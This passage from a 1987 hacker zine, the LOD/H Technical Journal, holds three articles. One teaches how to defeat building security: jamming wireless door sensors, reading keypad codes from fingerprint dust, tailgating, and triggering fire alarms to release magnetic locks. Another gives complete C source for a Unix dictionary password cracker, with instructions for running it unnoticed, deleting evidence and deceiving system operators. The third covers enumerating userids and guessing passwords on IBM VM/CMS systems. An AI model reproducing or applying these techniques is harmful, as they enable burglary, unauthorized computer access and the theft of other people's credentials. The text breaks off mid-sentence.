  1611. A wider break distance will prevent fasle alarms due to loose fitting doors,
  1612. thus, if the door is loose fitting it may have a wide break distance. The wider
  1613. the break distance, the easier it is to defeat. This will allow you to
  1614. introduce another magnet in cramped places since the door can be opened a wider
  1615. distance before an alarm condition occurs.
  1616.  
  1617. Some devices allow the installer to adjust the gap with a screwdriver instead
  1618. of placing the switch a certain distance from the magnet. In some devices, use
  1619. of any ferrous (Iron) material in the vicinity of the switch can cause a change
  1620. in gap distance. As a gap is increased, the switch may bias and latch. When
  1621. latched, the switch will remain closed even when the magnet is removed!! This
  1622. means that when you open the door, it thinks that the door is closed, and you
  1623. are able to stealthily go thru the door. You can test for a latched condition
  1624. by removing the magnet (opening the door) and using a Volt Ohm Meter, if it
  1625. reads INFINITY, the switch is OK. If not, it may be latched. If you can adjust
  1626. the gap to the point of it being latched, without being noticed, you've got it
  1627. made.
  1628.  
  1629.  
  1630. Wireless Switch Transmitters:
  1631.  
  1632. These are essentially the same as the other devices mentioned except that they
  1633. use an FM digital signal for alarm conditions (a door or window open) and for
  1634. maintenance conditions (low battery, transmitter malfunction/removal, long term
  1635. jamming, etc). There should be continuous polling and a maintenance alarm will
  1636. occur if the signal is missing for a few minutes. The transmitters are usually
  1637. powered by a couple of AAA 1 1/2V pen cells, which can last a few years. Most
  1638. devices will send out a signal after a specific interval. Common intervals are
  1639. about every 30 seconds. You can verify if the device is indeed sending out a
  1640. signal by placing a milliammeter capable of reading 10 ua in series with the
  1641. batteries and reading the discharge current. If it occurs every 30 seconds,
  1642. then it is sending out a signal every 30 seconds. A hint that this type of
  1643. device is in use, is since range generally decreases as a transmitter gets
  1644. closer to the floor, the transmitter will be placed as high as possible. The
  1645. transmitter probably has a range of about 200 feet, although some environments
  1646. may reduce this range due to construction materials inherent in the building.
  1647. The frequency should be in the 314 MHz range.
  1648.  
  1649. As was mentioned, these are the same as regular magnetic contact switches
  1650. except that there is a transmitter instead of a wire for transmitting alarm and
  1651. maintenance conditions, thus, the switch can be defeated in the same manner as
  1652. has been previously stated. Defeating an X-mitter is much easier than defeating
  1653. a wire. You can defeat the transmitter if you can sufficiently block or
  1654. diminish the signal strength so that the receiver is unable to receive it.
  1655. Radio waves have a tendency to bounce and reflect off of metallic surfaces,
  1656. which includes foil, and pipes. If you have located the transmitter, which
  1657. should be attached to or near the actual contact, you can block or jam the
  1658. signal as you open the door. Hopefully this will be between the 30 second
  1659. interval that it sends an "i'm ok" signal to the receiver, but it's not
  1660. critical to do so. As was stated, most receivers will not cause an alarm
  1661. condition if it doesn't recieve a signal once or twice, but after a few minutes
  1662. it will. So, as you open the door, it tries to send the signal, you block or
  1663. jam it, and you slip through without detection.
  1664.  
  1665. This information can also apply to security relating to the 'interior' of a
  1666. facility, ie. Part III of this series. Many of the techniques for defeating
  1667. magnetic contact switches are geared toward being inside the facility. Many
  1668. facilities have switches on doors to monitor movement of personnel within the
  1669. facility.  But it also is used on the exterior and some methods will work on
  1670. doors and possibly windows on the exterior. Of course, you have to have a way
  1671. of opening the door, and that follows.
  1672.  
  1673.  
  1674. DOORS AND LOCKS:
  1675. ----------------
  1676.  
  1677. As you know, doors are the primary entrance point into a building. Since they
  1678. are the primary target for unauthorized entry, they have the most security
  1679. added. I am not going to mention anything about the art of picking locks.
  1680. Although mechanical locks and keys have been the most common type of security
  1681. used in the past as well as today, I am going to concentrate on the more
  1682. advanced security systems in use.
  1683.  
  1684.  
  1685. Pushbutton keypad locks:
  1686. ------------------------
  1687.  
  1688. There are two types, mechanical and electronic. I will go into detail about
  1689. each. I will give you a few examples of these devices which comes directly from
  1690. brochures which I have been sent. I am merely summing up what they said.
  1691.  
  1692.  
  1693. Electronic:
  1694.  
  1695.  
  1696. Securitron DK-10:
  1697.  
  1698. This is a unit which has dimensions of 3x5x1". It has a stainless steel keypad
  1699. which is weatherproof, mounts via hidden screws and has no moving parts. The
  1700. keypad beeps as each button is pressed, and an LED lights when the lock is
  1701. released. It is slightly different in appearence than most other electronic
  1702. keypads:
  1703.  
  1704. +----+
  1705. ! 1A !  Each block (1A/B2) is one button. Thus, there are 5 buttons total on
  1706. ! B2 !  this device. The "/"'s at the bottom of the device represents the name
  1707. !    !  of the company and possibly the model number of the device.
  1708. ! 3C !  (ie. Securitron DK-10). It has 2-5 digit codes. Thus, a 2 digit code
  1709. ! D4 !  will have a maximum of 5 the the 2nd power (5 squared=25) combinations.
  1710. !    !  Of course it increases as the number of digits used increase.
  1711. ! 5E !  This unit has an 11 or 16 incorrect digit threshold. If it is reached
  1712. ! F6 !  a buzzer sounds for 30 seconds during which it will ignore any entries.
  1713. !    !  When a valid code is entered, the lock is released for a 5, 10, 15 or
  1714. ! 7G !  20 second interval.
  1715. ! H8 !
  1716. !    !
  1717. ! 9K !
  1718. ! L0 !
  1719. !    !
  1720. !////!
  1721. !////!
  1722. +----+
  1723.  
  1724.  
  1725. Sentex PRO-Key:
  1726.  
  1727. This device has a keypad resembling one of a payphone. It is a sealed, chrome
  1728. plated metal keypad. It has the standard 10 digits with * and #. It can have
  1729. up to 2000 individual codes with a lenght of 4 or 5 digits. It allows 8 time
  1730. zones, "2-strikes-and-out" software which is its invalid code threshold, and
  1731. anti-passback software.
  1732.  
  1733.  
  1734. Obtaining codes--
  1735. Your aim is to obtain the correct code in order to open the door. Plain and
  1736. simple. There are various methods in which you can accomplish this. You can try
  1737. to obtain a telescope or similar device and attempt to get the exact code as it
  1738. is being entered. This is obviously the quickest method. If you cannot discern
  1739. the exact code, the next best thing is to determine exactly how many digits
  1740. were entered, since most devices have variable code lengths. If you can make
  1741. out even one digit and when it was entered, you will substantially reduce the
  1742. possibilities. Another method is to put some substance on the keypad itself,
  1743. which preferably cannot be noticed by the user. After someone enters a code,
  1744. you can check the keypad to see where there are smudges or if you use what the
  1745. police use to find fingerprints, you can see what digits were pushed, although
  1746. you will have no idea in what order. This will drastically cut down the combos.
  1747. Say that someone enters a 5 digit code on a 10 digit keypad. You check the
  1748. keypad and see that, 1,2, 4, 7, and 9 were pushed. If you attempted brute
  1749. force, you will have 25 combinations to try. If a 4 digit code 'appeared' to be
  1750. entered, as 0, 2, 4, 8 were 'smudged', it is possible that one of the digits
  1751. were pushed twice. Keep that in mind. A way to know for sure would be to clean
  1752. the pad and 'dust' it, most fingerprints will be clear, but one will be less
  1753. clear than the others. Thus, you can be reasonably sure that the digit which is
  1754. smudged was pressed twice.
  1755.  
  1756. Thresholds--
  1757. Brute force attempts on electronic keypads is suicide. Once a certain number of
  1758. invalid attempts has been reached, it will probably be logged and a guard may
  1759. be dispatched. Your best bet is to try once or twice, wait (leave), try once
  1760. or twice again, wait, etc. Sooner or later you will get in.
  1761.  
  1762. Auditlogs--
  1763. Many of these devices are run on micro's. The software that runs these devices
  1764. allows for an increased ability to monitor the status of these devices. They
  1765. can track a person throughout the facility, record times of entry and exit,
  1766. and when the maximum invalid code threshold is reached.
  1767.  
  1768. Anti-passback--
  1769. This term is commonly used in card access control, but it applies differently
  1770. to keypads. This feature prevents the use of two codes being used at the same
  1771. time. That is, Joe Comosolo uses code #12345 and enters the building. Then,
  1772. you enter Mr. Comosolo's code, #12345 but the system knows that Joe is already
  1773. in the building, and has not entered his code before leaving. Thus, you do not
  1774. gain access, and that action is most likely recorded in the audit log. This
  1775. option will only be in effect when:
  1776.  
  1777. 1) Each individual has a different code.
  1778.  
  1779. 2) There is a keypad used for entry, and a keypad used for exit.
  1780.  
  1781.  
  1782. Tailgating--
  1783. This occurs when more than one person enters through a controlled access point.
  1784. Joe enters his code, and goes into the building. You follow Joe, and make it
  1785. in just before the door closes, or in the case of the devices waiting 10 or 20
  1786. seconds before the door locks again, you let it close, and open it before it
  1787. locks.
  1788.  
  1789. Open access times--
  1790. During peak morning, noon, and evening hours, a facility may set the system to
  1791. not require a code during, say, 8:55AM to 9:05AM, thus, enabling most anyone to
  1792. gain entry during that time.
  1793.  
  1794.  
  1795. Hirsch Electronics Digital Scrambler:
  1796.  
  1797. This has a 12 button arrangement with the addition of a 'start' key. This is
  1798. probably the most secure type of keypad security system in use today. It only
  1799. allows a viewing range of +/- 4 degrees horizontally and +/- 26 degrees
  1800. vertically. This means that it would be very difficult to watch someone enter
  1801. their code, thus, eliminating the 'spying' technique mentioned earlier.
  1802. The buttons on the keypad remain blank until the start button is pressed. Then,
  1803. instead of the numbers appearing in the usual order, they are postitioned at
  1804. random. A different pattern is generated each time it is used. The numbers are
  1805. LED's in case you were wondering. This eliminates the 'dusting' technique which
  1806. can be used on the other types of keypad systems.
  1807.  
  1808. The Model 50 allows control of 4 access points and has 6 programmable codes.
  1809. The Model 88 controls 8 doors and has thousands of codes. The features that
  1810. this device has makes it very difficult to do anything but use brute force to
  1811. obtain the code, but since it is controlled and monitored by a computer, the
  1812. audit logs and maximum invalid code threshold can put a stop to that method.
  1813. The other alternative, which applies to any of these systems, is to socially
  1814. engineer the code from someone, or if you know someone, they may give you it.
  1815. Both methods are not ideal. I have come up with a way to reduce the
  1816. possibilities to a very reasonable level, but I will not explain it here. If
  1817. you are really interested, contact me via the LOD/H Technical Journal Staff
  1818. account on the Sponsor boards.
  1819.  
  1820.  
  1821. Mechanical Keypad locks:
  1822.  
  1823. The best thing about these types of locks, is that they are 100% mechanical.
  1824. This means that it is not computerized, and there is no monitoring of bad codes
  1825. or the door staying open for too long, or anything! All you have to worry about
  1826. is getting a correct code. Probably the largest manufacturer of these devices,
  1827. is Simplex Security Systems, Inc. The devices are called, Simplex Keyless
  1828. Locks. Every lock of theirs that I have seen, has 5 buttons. Combinations may
  1829. use as many of the five buttons the facility cares to use. The biggest problem
  1830. with this type, is that there is the option of pushing 2 buttons at the same
  1831. time, which would be the same as adding another button to the lock. Thus,
  1832. button 1 & 5 can be pushed simultaneously, then button 3, then buttons 2 & 4
  1833. would be pushed at the same time.
  1834.  
  1835. These are supposedly, 'keyless locks' but on many models, a 'management key'
  1836. can be used to override the security code, so obtaining the key, is a way to
  1837. bypass the code. Both the spying and dusting methods apply to these devices,
  1838. and the best thing is that you can try all possiblities you want without an
  1839. alarm signalling.
  1840.  
  1841.  
  1842. Magnetic locks:
  1843. ---------------
  1844.  
  1845. These are commonly called 'Magnalocks' and use only the force of electro-
  1846. magnetism to keep a door shut. Typically, the magnet is mounted in the door
  1847. frame and a self aligning strike plate is mounted on the door. These locks
  1848. provide the capability of up to a few thousand pounds of force for security.
  1849. They are not only found on doors, but can be put on sliding doors, glass doors,
  1850. double doors and gates. The magnet and plate is roughly 3 inches by 6-8 inches.
  1851.  
  1852. There are a few things you should try to findout about these devices before
  1853. attempting anything:
  1854.  
  1855. Is there backup power? (ie. Usually a 12-24V battery can be used) Obviously, if
  1856. there is no backup power and there is a power outage, there will be nothing to
  1857. stop you from opening up the door.
  1858.  
  1859. Most devices have the capability to monitor whether the door is closed, which
  1860. is what magnetic contact switches do. But there is another option, which will
  1861. provide a voltage output signal on a third wire, which determines whether the
  1862. lock is powered and secure. If there is no monitoring of whether the door is
  1863. secure, then there is no way of knowing it is locked, unless it is physically
  1864. checked. There are optional LED's which can be mounted on the lock to indicate
  1865. its status. For the Securitron Magnalock, an amber LED will indicate that the
  1866. lock is powered. A green light shows the lock is powered and secure. Red, shows
  1867. that the lock is unlocked, and no light means there is a violation, ie. the
  1868. power switch is on, but the lock is not reporting secure. You can use these
  1869. lights to your advantage.
  1870.  
  1871. If a magnalock is tied into a fire alarm system, such that it is automatically
  1872. released in the event of fire, then you or an accomplice can signal a fire
  1873. alarm and sneak in while the lock releases.
  1874.  
  1875.  
  1876. MISCELLANEOUS:
  1877. --------------
  1878.  
  1879. LED's: Some devices or models of devices have LED lights built into/onto the
  1880. device. They are usually used to indicate a secure or insecure condition.
  1881. This applies to magnetic contacts, shock sensors, and other devices. Even when
  1882. the security system is not in a secure mode, (for example, during regular
  1883. business hours a system may be off, but after 6pm it is turned on) the LED will
  1884. light when an alarm condition occurs. For example, you bang on a window that
  1885. has a shock sensor, and the red LED lights, or blinks for a few seconds. You
  1886. can use this to your advantage to test theories or methods during a time which
  1887. a receiver pays no attention to the signals sent to it. Then when it is turned
  1888. on, you will have more confidence in what you are doing.
  1889.  
  1890. Supervised loops: Most if not all devices will have supervised loops for
  1891. constant monitoring of battery power, electrical shorts, and defective devices.
  1892. If the security system of the facility is very old, loops may not be
  1893. supervised, and simply cutting a wire will disable the alarm.
  1894.  
  1895. Naming of devices: For large orders, manufactures of security devices may put
  1896. the facility's name on the product instead of their own. This is probably for
  1897. esoteric purposes. This hampers your efforts in obtaining the name of the
  1898. maker of any type of product for purposes of geting additional information and
  1899. brochures on the device.
  1900.  
  1901. Single person entry: These devices include mechanical and optical turnstiles
  1902. which meter people in and out one-by-one. Mantraps, usually found in high
  1903. security installations are double-doored chambers which allow only one person
  1904. in at a time, and will not allow the person out until the  system is satisfied
  1905. he is authorized.
  1906.  
  1907. Extreme weather conditions: Unlike perimeter security devices, most exterior
  1908. security devices are either placed inside the facility, or can withstand just
  1909. about any type of environmental condition, so there is not much that you can
  1910. take advantage of.
  1911.  
  1912. CONCLUSION:
  1913. -----------
  1914.  
  1915. People typically make security a lower priority than less important things.
  1916. Those who do not upgrade their systems because of spending a few dollars are
  1917. rewarded by being ripped off for thousands. I have no pity for those who do
  1918. not believe in security, physical or data...
  1919.  
  1920.  
  1921. ACKNOWLEDGEMENTS:
  1922. -----------------
  1923.  
  1924. Gary Seven (LOH)
  1925.  
  1926. And of course, the information from brochures, and questions  answered by the
  1927. nice technical support people for the companies specifically mentioned in this
  1928. article.
  1929.  
  1930.  
  1931.  
  1932.  
  1933.  
  1934. Gfiles: (1-8, ^5),?,Q : 
  1935.  
  1936. The LOD/H Technical Journal: File #6 of 10
  1937.  
  1938.  
  1939. A Discreet Unix Password Hacker
  1940. -------------------------------
  1941.  
  1942. By Shooting Shark / Tiburon Systems  4 Mar 87
  1943.  
  1944.      Imagine this familiar situation:  you have an account on a Unix system.
  1945. Perhaps it's your account on your school's VAX, or an account you've hacked
  1946. yourself.  You'd like to collect more passwords to this system - perhaps
  1947. to the 'root' or 'bin' accounts so you can take control of the system, or the
  1948. password of the class hotshot who's going to get an 'A' on his compiler
  1949. project and upset the curve unless you go in and erase all of his files.
  1950. The problem is getting these passwords.  The most obvious method would be to
  1951. manually enter login/password combinations until you found one.  This is
  1952. slow (>10 seconds per try), will give you sore fingers, and multiple
  1953. invocations of the 'login' program may be noticed.  You could write a program
  1954. on your micro to dial up the site (*if* it has a dialup) and try passwords
  1955. from a login/password pool, but this is just as slow, ties up your computer
  1956. and your phone line, and again is subject to easy detection.  The solution
  1957. to this problem is to have the system itself hack passwords for you.
  1958. It can do this unattended and at a considerable speed while you go about
  1959. your life, and will be difficult to detect by system demigods.
  1960.  
  1961. Here is the C source for my program.  Upload it to your Unix site and
  1962. compile it.
  1963.  
  1964. --- cut here ---
  1965. /*
  1966.  * hpw.c v1.4: 8 October '86
  1967.  * Written by Shooting Shark / Tiburon Systems
  1968.  *
  1969.  */
  1970.  
  1971. #include <sys/file.h>
  1972. #include <stdio.h>
  1973. #include <pwd.h>
  1974. #include <signal.h>
  1975.  
  1976. struct     passwd *pwd, *getpwname(name);
  1977.  
  1978. int   len, abort(), endpwent();
  1979.  
  1980. char  crbuf[30], *strcpy(), *crypt(), *getpass(), *getlogin(), *pw, pwbuf[10];
  1981.  
  1982. main(argc, argv)
  1983. int argc;
  1984. char *argv[];
  1985. {
  1986.  
  1987. FILE *fopen(), *fp;
  1988.  
  1989. char *uname;
  1990. signal(SIGINT,abort);
  1991.  
  1992.  
  1993. if (argc !=3) {
  1994.      printf("usage : %s username pwfile\n",argv[0]);
  1995.      exit(-1);
  1996.      }
  1997.  
  1998.  
  1999.  
  2000.  
  2001.  
  2002. if (!(pwd =getpwnam(argv[1]))) {
  2003.      printf("unknown user : %s\n",argv[1]);
  2004.      exit(-1);
  2005.      }
  2006.  
  2007. if ((fp = fopen(argv[2], "r")) == NULL) {
  2008.      perror(argv[2]);
  2009.      exit(-1);
  2010.      }
  2011.  
  2012.  
  2013.  
  2014. sprintf(crbuf,"%s",pwd->pw_passwd);
  2015.  
  2016. printf("hacking %s\n",argv[1]);
  2017. printf("encrypted password : %s\n",crbuf);
  2018.  
  2019. while (fgets(pwbuf, 20, fp) != NULL) {
  2020.      pwbuf[strlen(pwbuf)-1] = '\0';
  2021.      pw = crypt(pwbuf,crbuf);
  2022.      if (!strcmp(pw,crbuf)) {
  2023.      printf("%s ==> %s\n",argv[1],pwbuf);
  2024.      exit(0);
  2025.      }
  2026.      }
  2027. printf("done -- password not found.\n");
  2028.  
  2029.  
  2030.      endpwent();
  2031.  
  2032.  
  2033. }
  2034.  
  2035. abort()
  2036. {
  2037. printf("aborted while trying '%s'\n",pwbuf);
  2038.  
  2039. exit(-1);
  2040. }
  2041.  
  2042. --- cut here ---
  2043.  
  2044. (Note - written on a Pyramid 90x running Berzerkeley Unix 4.2.  If you're
  2045. running SysV or something else you may have problems.  You probably
  2046. won't, but you might.)
  2047.  
  2048. Now that you have the above compiled into a file called 'hpw,' invoke
  2049. it with
  2050.  
  2051. % hpw username pwfile
  2052. ( % is the shell prompt; don't type it...)
  2053.  
  2054. where username is the login name of the user who's password you'd like
  2055. to hack, and pwfile is the path of a text file that contains the pool of
  2056. likely passwords.  Most sites will have a file of words for the 'spell'
  2057. spelling checker - it will probably be /usr/dict/words and contain at least
  2058. 15,000 potential passwords.
  2059.  
  2060. Hpw starts by loading the user's encrypted password from /etc/password and
  2061. stores it in crbuf.  It then starts reading words from the file you've
  2062. specified, encrypts them using the crypt() routine, and compares them to
  2063. the encrypted password.  If they match, the program outputs a line like:
  2064. 'shark ==> hispassword' and quits.  If they don't match, it goes on to the
  2065. next potential password.  If the program goes through the entire list and
  2066. doesn't find the correct password, it prints 'done -- password not found'
  2067. and quits.  If you hit ^C (or BREAK, or whatever your interrupt character
  2068. is) the program tells you which word in the file it had gotten to when
  2069. it was interrupted and quits.  Then, the next time you attempt to hack that
  2070. login name, you can start where you left off during the previous session.
  2071.  
  2072. The beauty of this program is that you can run it in background with the
  2073. output sent to a file and then log off, or play rogue, or whatever.  To
  2074. hack melody's password using /usr/dict/words as your pool file, and to
  2075. have all messages generated by the program sent to a file called 'out.file'
  2076. and run the program in background, you'd enter from csh:
  2077.  
  2078. % hpw melody /usr/dict/words > out.file &
  2079.  
  2080. the & signifies a background process.  The system will print something like:
  2081. [1] 90125
  2082. this means it's job number 1 for you, and has process id 90125.  To bring
  2083. the program back into the foreground, enter:
  2084.  
  2085. % %1
  2086.  
  2087. and to kill the process, type
  2088.  
  2089. % kill 90125
  2090.  
  2091. if you have hpw running in background and you're in csh, you can just log off
  2092. and the program will continue to silently gather passwords.  If you're under
  2093. the sh shell, you'll need to run the program with 'nohup' (read the man
  2094. entry for more info) or sh will kill the process when you log out.
  2095.  
  2096. Anyway, after you've given the program sufficient time to go through the
  2097. list (more on this in a second), log in again.  If the output file exists,
  2098. the program has completed its job.  Otherwise use 'ps' to see if the program
  2099. is still running.  cat the file and you'll see something like this:
  2100.  
  2101. hacking melody
  2102. encrypted password : K4h7iidD1vX0a
  2103. melody ==> joshua (or 'done -- password not found')
  2104.  
  2105. make a note of melody's password, rm the incriminating output file, and
  2106. move on to the next login name.  Easy, huh?
  2107.  
  2108. Now for the bad news:  The designers of Unix weren't stupid.  They
  2109. deliberately designed the crypt() routine so that it's unique (it's a minor
  2110. deviation of the DES, so you can't use a fast DES-busting program to attack
  2111. the /etc/passwd file).  This program uses the fastest possible method of
  2112. brute-force hacking Unix passwords, but it isn't too speedy itself.  I wrote
  2113. the program on a Pyramid 90x, which is a 32-bit multi-processor
  2114. RISC-architecture machine.  When running this program in foreground while I was
  2115. the only user on the system, it averaged 2 seconds per try.  You can expect
  2116. this performance on one of the better VAXen.  If you're on a Cray (sure...) it
  2117. might take the program 1/8 second per hack.  If you're on an AT running XENIX
  2118. or a PDP-11/44, expect 5 seconds per try.  (I really don't know how long it
  2119. would take, why don't some people time it and give me feedback...I'd appreciate
  2120. it.)
  2121.  
  2122. Realistically, if you're using the system's spelling-checker word list that
  2123. contains 20,000 words and you're running the program in background, give
  2124. it at least 12 hours.  If you have a system operator who likes to keep
  2125. track of people's long-running jobs, tell them via mail that you'll be
  2126. computing the limit of 1/x to infinity or something like that and they'll
  2127. leave the process alone. If you have your own file of 100 probable passwords
  2128. (such as 'joshua,' 'secret' or the person's name) it will take 10 minutes
  2129. or so to complete.  Sensible selection of potential passwords (most UNIX
  2130. systems don't allow passwords of less than 5 characters; attempt to change
  2131. your password to progressively shorter and shorter words until you find out
  2132. what your system's minimum length is) and running the program at strategic
  2133. times (like after midnight) will cut the time down.
  2134.  
  2135. Hackers who know 'C' (and everybody should know C by now; it's the best
  2136. language ever designed) will want to modify the program I've presented.
  2137. You may want to 'hard code' the username to be hacked and the pwfile path;
  2138. 'progname root word.file' on a process table might look a LITTLE suspicious
  2139. to snoopy system operators (and it goes without saying that you shouldn't
  2140. call the program 'hack' or 'hpw', nor leave the source unencrypted in your
  2141. directory).  Also, since the crypt() routine is universal, you can hard-code
  2142. the 'crbuf' variable with the encrypted password (from /etc/passwords)
  2143. of a user on another system!  When hardcoding a password, make sure you spell
  2144. it correctly, and that it contains exactly 13 characters of upper & lower case,
  2145. and/or numbers. I once successfully hacked the root account of an AT&T Micro in
  2146. Michigan on my local Pyramid 90x.  Thus I didn't need to take up space on the
  2147. guy's file system with the source and didn't have to run the program on his
  2148. slow system - once I obtained the 6300's /etc/passwd file from the person who
  2149. hacked into the system, I attacked it at my local site.  If you happen to have
  2150. a system of your own that runs Unix, you can hack any system's root account at
  2151. home, completely risk-free.
  2152.  
  2153. Unix is the best operating system I've ever used.  It's immensely powerful;
  2154. as demonstrated by the program above, it's easy to make the system work for
  2155. you.  If you have any questions, comments, criticisms, threats, etc, get in
  2156. touch with me - my primary goal is not to prove that I'm more of a Unix Wizard
  2157. than the other guy, but rather to do my part in the ongoing crusade to make
  2158. forbidden information available to the people who can use it.
  2159. 'Knowledge is Power,' as the saying goes.
  2160.  
  2161. -- Shark.
  2162.  
  2163.  
  2164.  
  2165.  
  2166.  
  2167. Gfiles: (1-8, ^6),?,Q : 
  2168. The LOD/H Technical Journal: File #8 of 10
  2169.  
  2170.  
  2171.                                    Lex Luthor
  2172.                                       and
  2173.                              The Legion Of Hackers
  2174.                                     Present:
  2175.  
  2176.                      Hacking IBM's VM/CMS Operating System
  2177.                                      Part A
  2178.  
  2179.  
  2180. INTRODUCTION:
  2181. -------------
  2182.  
  2183.     IBM mainframes make up over 50% of the mainframes used in the United
  2184. States. These systems are traditionally used in industries such as insurance,
  2185. banking, universities and so on. For some reason, IBM systems as a whole have
  2186. not been very popular with hackers. This may be due to the complexity of the
  2187. Operating Systems run on IBM systems compared to others such as UNIX or VMS.
  2188. Another reason may be that there is much variety from shop to shop. IBM systems
  2189. are more commonly modified and customized to fit an individual corporations
  2190. need and the lack of "universality" for commands, files, programs and other
  2191. procedures makes it difficult to attempt to use without any type of specific
  2192. documentation. The lack of detailed on-line help also hinders the hacker. I
  2193. believe that the VM/CMS Operating System is by far the best and easily learned
  2194. of the IBM systems. But compared to other Operating Systems like UNIX or VMS,
  2195. VM/CMS is cumbersome and harder to learn.
  2196.  
  2197.  
  2198. ACRONYMS:
  2199. ---------
  2200.  
  2201.      Before I even attempt to start this article, I will list the IBM-specific
  2202. acronyms used in this article and some others that you may find on various IBM
  2203. systems. I list them here so I will not have to do it throughout this article.
  2204. If you don't know what one of them means later, just refer back to this list.
  2205.  
  2206. VM/SP:    Virtual Machine/System Product
  2207. CP:       Control Program
  2208. CMS:      Conversational Monitoring System
  2209. HPO:      High Performance Option
  2210. VSE:      Virtual Storage Extended
  2211. MVS:      Multiple Virutal Storage
  2212. TSO:      Time Sharing Option
  2213. JES:      Job Entry System
  2214. CICS:     Customer Information Control System
  2215. VSAM:     Virtual Storage Access Method
  2216. VTAM:     Virtual Telecommunications Access Method
  2217. IX:       Interactive Executive
  2218.  
  2219. IPL:      Initial Program Load
  2220. IVP:      Istallation Verification Program
  2221. RSCS:     Remote Spooling Communications Subsystem
  2222. DASD:     Direct Access Storage Device
  2223. EREP:     Environmental Recording Editing and Printing
  2224. SNA:      Systems Network Architecture
  2225. NCCF:     Network Communications Control Facility
  2226. REXX:     Restructured Extended Executer Language
  2227. VTOC:     Volume Table Of Contents
  2228. DOCS:     Display Operator Console System
  2229. JCL:      Job Control Language
  2230. ACF:      Advanced Communications Functions
  2231. SQL/DS:   Structured Query Language/Data System
  2232. DBA:      Data Base Administrator
  2233. GCS:      Group Control System
  2234. SCP:      System Control Program
  2235. FDP:      Field Development Program
  2236. CNA:      Communications Network Application
  2237. POF:      Programmable Operator Facility
  2238. PSW:      Program Status Word
  2239. SSCP:     Subsystem Services Control Point
  2240. IPCS:     Interactive Problem Control System
  2241. DCSS:     Discontiguous Shared Segments
  2242. VMCF:     Virtual Machine Communications Facility
  2243. FIFO:     First In First Out
  2244. LIFO:     Last In First Out
  2245. AP:       Attached Processor
  2246. MP:       Multi-Processor
  2247. R/O:      Read/Only
  2248. R/W:      Read/Write
  2249.  
  2250.  
  2251. LOGGING IN:
  2252. -----------
  2253.  
  2254.      Typically, when you come across a CMS system, it will respond with:
  2255.  
  2256. VM/370 ONLINE
  2257. !
  2258.  
  2259. .
  2260.  
  2261.  
  2262. This message is somewhat of a contradiction. The majority of VM/CMS systems are
  2263. rarely run on actual 370 systems but on other processors, such as the 43XX
  2264. series and the 30XX series.
  2265.  
  2266. The period "." prompt is the surest way of verifying that you have indeed
  2267. connected to a VM/CMS system, aside from the "VM/370 ONLINE" message which is
  2268. usually printed. This prompt should not be confused with DEC's TOPS-10 system,
  2269. which also has the prompt of a period. The older versions of VM/CMS responded
  2270. as shown above. The newer versions will give you this menu:
  2271.  
  2272. Enter one of the following commands:
  2273.  
  2274.    LOGON userid                    (Example:  LOGON VMUSER1)
  2275.    DIAL userid                     (Example:  DIAL VMUSER2)
  2276.    MSG userid message              (Example:  MSG VMUSER3 GOOD MORNING)
  2277.    LOGOFF
  2278.  
  2279. This menu may vary from system to system, since they may opt to not allow a
  2280. command to be used before logging in and will omit it from the menu or they may
  2281. add some commands. When hacking a system this menu will appear before you can
  2282. attempt to login, thus becoming very tedious and time consuming especially at
  2283. 300 baud as you have to wait an eternity for each logon attempt.
  2284.  
  2285. Other responses after connecting are "Ready to Host", "Press break key to begin
  2286. session" and "Invalid Switch Characters". The last response is commonly found
  2287. on Telenet and other packet switched networks, in which you may have to specify
  2288. "VM" for a VM/CMS system, or "TSO" for a MVS/TSO system. There may be other IBM
  2289. systems to select from, or "VM" may not be a valid system. You may also have to
  2290. specify "LOGON VM" or just "LOGON" before the port selector connects you to the
  2291. host system.
  2292.  
  2293. LOGON can be abbreviated as just "L". A userid can be from 1-8 characters in
  2294. length, but the first character MUST be a letter (In most systems you come
  2295. across this will be true, but due to customization of systems, its possible
  2296. this and even the 8 character password limit may be extended). A typical logon
  2297. may look like:
  2298.  
  2299. .L COMOSOLO SYSGUESS NOIPL
  2300.  
  2301. "." is the system prompt, L is the LOGON command, COMOSOLO is the userid,
  2302. SYSGUESS is the password, and NOIPL is the only 'login qualifier' allowed for
  2303. the VM/CMS system. NOIPL specifies that the IPL name or device in the VM/SP
  2304. directory should not be used for an automatic IPL. IPL simulates the LOAD
  2305. button and the device address switches on the real computer console. Basically
  2306. it "boots" your part of the CMS system. This is another different concept. A
  2307. user can boot (or crash) their part of the system not the whole system (in most
  2308. cases). NOIPL would be used when a system dumps you into a program which allows
  2309. you little or no mobility such as a restricted menu of options (IE: A system
  2310. backup utility) and logs you off without gaining access to CMS. NOIPL will
  2311. prevent this program from running if it is listed in your automatic IPL entry
  2312. within the CP directory. This should allow you access to the system. Otherwise
  2313. the program was specified to run within your PROFILE EXEC which lists things to
  2314. be done upon logon. NOIPL is somewhat similar but not identical to the login
  2315. qualifier "/NOCOMMAND" for DEC's VAX/VMS systems.
  2316.  
  2317. If the Password Suppression Facility is installed on the system, you will
  2318. receive an invalid format message whenever the userid and password are entered
  2319. on the same line. This is obviously a security measure to prevent users from
  2320. entering their password in full view of anyone who may be watching as the
  2321. password is not "masked". Thus, you will have to enter your password on a
  2322. separate line when the system prompts you for it. The advantage of entering the
  2323. userid and password on one line (especially at 300 baud) is that you can try
  2324. more userids and passwords in a shorter period of time while still availing
  2325. yourself to the systems generousness of informing you when an invalid userid
  2326. has been entered.
  2327.  
  2328. Error messages:
  2329.  
  2330. There are various error messages one may encounter while logging into a VM/CMS
  2331. system. The ones you should be most concerned about are:
  2332.  
  2333. "Userid not in CP directory": When an invalid userid has been entered, you will
  2334. receive this message. This indication gives the hacker a distinct advantage for
  2335. gaining entry to the system. Probably the largest security hole for any system
  2336. is to tell you when a valid username has been entered. After all, obtaining a
  2337. valid userid is half the battle. The other half is obtaining a valid password.
  2338. Even the weakest Operating Systems no longer give an indication of when a valid
  2339. ID has been entered. Why IBM has not changed this is a mystery to me.
  2340.  
  2341. When a valid userid is entered you will be asked to enter a password if you did
  2342. not already do so. If the password is correct, the system will attempt to log
  2343. you on, if not, you will receive one of two messages:
  2344.  
  2345. "Logon unsuccessful--incorrect password": As has just been stated, a valid
  2346. userid has been entered but the password was incorrect. Passwords can be from
  2347. 1-8 characters long, but in many cases the minimum length is changed to be at
  2348. least three characters. There is no difference between upper and lower case
  2349. letters for either the userid or password as they are converted to upper case
  2350. by the system which is another security flaw as it reduces password
  2351. possiblities.
  2352.  
  2353. "Password incorrect - reinitiate logon procedure": This is the message received
  2354. on the older versions of VM/CMS, which means the same thing as the above msg.
  2355.  
  2356. "Maximum password attempts exceeded, try again later": The threshold has been
